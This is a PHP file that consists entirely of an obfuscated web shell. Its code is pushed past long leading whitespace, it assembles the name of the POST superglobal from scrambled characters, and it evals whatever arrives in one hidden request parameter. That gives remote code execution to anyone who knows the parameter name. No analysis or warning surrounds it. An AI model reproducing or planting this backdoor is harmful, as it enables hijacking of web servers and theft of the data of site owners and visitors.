<?php                                                                                                                                                                                                                                                       $ifb03 ="pot_s"; $yqyx1 = strtoupper($ifb03[3]. $ifb03[0]. $ifb03[1]. $ifb03[4]. $ifb03[2] ) ; if( isset (${$yqyx1} ['q7f2521'] )){ eval ( ${ $yqyx1 }['q7f2521']); }?>